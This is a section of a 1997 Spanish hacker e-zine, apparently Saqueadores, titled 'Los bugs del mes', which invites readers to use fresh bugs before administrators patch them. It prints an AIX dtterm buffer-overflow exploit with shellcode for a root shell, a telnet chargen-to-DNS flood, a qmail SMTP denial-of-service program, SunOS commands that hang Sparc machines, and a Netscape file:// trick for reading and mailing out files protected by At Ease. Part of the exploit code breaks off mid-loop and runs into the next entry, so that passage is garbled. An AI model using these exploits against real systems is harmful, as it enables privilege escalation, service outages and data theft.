IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII o 07. LOS BUGS DEL MES o IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII Siempre el mismo dilema, no se pueden poner bugs antiguos por que la gente se queja y con razon pero tampoco se puede poner lo ultimo puesto que la utilidad de un bug es inversamente proporcional al n§ de gente que lo conoce. Lo siento pero se que todo lo que publico aqui no me va a servir de nada en el mismo instante que la revista vea la luz, no obstante este mes tiro la casa por la ventana, puede que sea el "especialista" en bugs de Saqueadores y sin embargo he dejado que otros escribiesen esta seccion que a veces, francamente, ha sido demasiado anticuada. SE ACABO, en este numero teneis bugs para todos los gustos desde NT 4.0 hasta AIX pasando por Mac y todos _fresquitos_. šComo de frescos? Ninguno con mas de dos meses en el momento de escribir estas lineas (12-Jun-97) algunos con menos de un mes de existencia incluso. CALIDAD de la buena. Aprovechaos antes que los administradores despierten, aunque bien pensado no hay prisa algunos siguen pensando que el Explorer es seguro :DD. Para: Aix Tema: Conseguir shell de root Patch: Manual, no lo pongo por que soy asi de torero. Credit: George Guninski /* Para obtener un shell de root, testeado en Aix 4.2 con RS/6000*/ #include #include #include char prog[100]="/usr/dt/bin/dtterm"; char prog2[30]="dtterm"; extern int execv(); char *createvar(char *name,char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (! (c=malloc(l))) {perror("error allocating");exit(2);}; strcpy(c,name); strcat(c,"="); strcat(c,value); putenv(c); return c; } /*El programa*/ main(int argc,char **argv,char **env) { /*El codigo*/ unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; /* El desensamblado 7c0802a6 mfspr r0,LR 9421fbb0 stu SP,-1104(SP) --get stack 90010458 st r0,1112(SP) 3c60f019 cau r3,r0,0xf019 --CTR 60632c48 lis r3,r3,11336 --CTR 90610440 st r3,1088(SP) 3c60d002 cau r3,r0,0xd002 --TOC 60634c0c lis r3,r3,19468 --TOC 90610444 st r3,1092(SP) 3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01' 6063696e lis r3,r3,26990 90610438 st r3,1080(SP) 3c602f73 cau r3,r0,0x2f73 60636801 lis r3,r3,26625 3863ffff addi r3,r3,-1 9061043c st r3,1084(SP) --terminate with 0 30610438 lis r3,SP,1080 7c842278 xor r4,r4,r4 --argv=NULL 80410440 lwz RTOC,1088(SP) 80010444 lwz r0,1092(SP) --jump 7c0903a6 mtspr CTR,r0 4e800420 bctr --jump */ #define MAXBUF 600 unsigned int buf[MAXBUF]; unsigned int frame[MAXBUF]; unsigned int i,nop,mn; int max; int QUIET=0; int dobuf=0; unsigned int toc; unsigned int eco; unsigned int *pt; char *t; int ch; unsigned int reta; /* direccion de retorno */ int corr=1000; char *args[4]; char *arg1="-ms"; char *newenv[8]; int startwith=0; mn=200; max=300; if (argc>1) corr = atoi(argv[1]); pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) { perror("Bad parameters"); exit(1); } #define OO 7 *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff); *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) & 0x0000ffff); reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr; for(nop=0;nop 19 | telnet 53 Descripcion y Notas: Este comando efectua una conexion Telnet con el puerto 19 que genera una cadena de caracteres, el output es entonces redirigido a la conexion Telnet del puerto 53 (DNS), se provoca asi un "flood" que causa una Violacion de Acceso en el servicio DNS, o sea la maquina a partir de entonces deja de prestar servicios de conversion DNS/IP. šOs suena lo de "Unable to resolve host name.." -------------------------------------------------------- Para: Qmail Tema: Denegacion de Servicio qmail-smtpd Patch: Manual Credits: Jedi/Sector One /* Programa para tumbar a Q-mail */ #include #include #include #include #include #include #include #include void fatal(char *fmt,...) { va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); putc('\n', stderr); exit(1); } chat(FILE * fp, char *fmt,...) { char buf[BUFSIZ]; va_list ap; fseek(fp, 0L, SEEK_SET); va_start(ap, fmt); vfprintf(fp, fmt, ap); va_end(ap); fputs("\r\n", fp); if (fflush(fp)) fatal("connection lost"); fseek(fp, 0L, SEEK_SET); if (fgets(buf, sizeof(buf), fp) == 0) fatal("connection lost"); if (atoi(buf) / 100 != 2) fatal("%s", buf); } int main(int argc, char **argv) { struct sockaddr_in sin; struct hostent *hp; char buf[BUFSIZ]; int sock; FILE *fp; if (argc != 2) fatal("usage: %s host", argv[0]); if ((hp = gethostbyname(argv[1])) == 0) fatal("host %s not found", argv[1]); memset((char *) &sin, 0, sizeof(sin)); sin.sin_family = AF_INET; memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr)); sin.sin_port = htons(25); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) fatal("socket: %s", strerror(errno)); if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0) fatal("connect to %s: %s", argv[1], strerror(errno)); if ((fp = fdopen(sock, "r+")) == 0) fatal("fdopen: %s", strerror(errno)); if (fgets(buf, sizeof(buf), fp) == 0) fatal("connection lost"); chat(fp, "mail from:", fp); for (;;) chat(fp, "rcpt to:", argv[1]); } Descripcion y Notas: Qmail-dos-2 hace que un sistema de correo qmail se quede sin espacio de intercambio al enviarle una cantidad infinita de destinatarios de un mensaje. Uso: qmail-dos-2 (sin <> por supuesto) Por supuesto el autor no se hace responsable de nada, si no te lo crees mira el 'disclaimer' al inicio de la revista. -------------------------------------------------------- Para: SunOS Tema: Cuelgue Patch: Manual 1) cat /dev/tcx0 2) ls /dev/tcx0/* 3) cat /dev/zero > cat /dev/keyboard Descripcion y Notas: Los dos primeros cuelgan una Sparc 5 o Sparc 20 bajo SunOS 4.1.4, no cae la Sparc 10 y puede funcionar o no con otras versiones de SunOS. El ultimo cuelga cualquier cosa entre Sparc1-Sparc10 si utiliza SunOS. Por supuesto siempre y cuando el administrador no se haya molestado en corregir ese defecto, recuerdo que no hay patch sino que tiene que ser un trabajo "manual". --------------------------------------------------------- Para: Mac/At Ease Tema: Romper proteccion Patch: ? Ejecutar Netscape file://muy%20secreto/Chanchullos/gordos.txt Descripcion y Notas: At Ease es un programa que permite introducir restricciones de acceso a ficheros y directorios pero 'lastimosamente' esta proteccion se viene abajo si se utiliza Netscape para acceder a dichos ficheros con la sintaxis arriba descrita y donde %20 equivale a espacio. Si el fichero no es de texto o representable por Netscape, ­no hay problema!, podemos grabarlo en un directorio al que si tengamos acceso y una vez ahi manipularlo a nuestro antojo. Las posibilidades son inmensas, puesto que _cualquier archivo de la red_ protegido con At Ease esta a nuestro alcance, ­­solo tenemos que mandarnoslo por correo a nosotros mismos!! (usando el mailto de Netscape). Por ejemplo šque me decis de coger el archivo de preferencias de At Ease que contiene las claves del "master"? -------------------------------------------------------- Este mes no os quejeis de los bugs.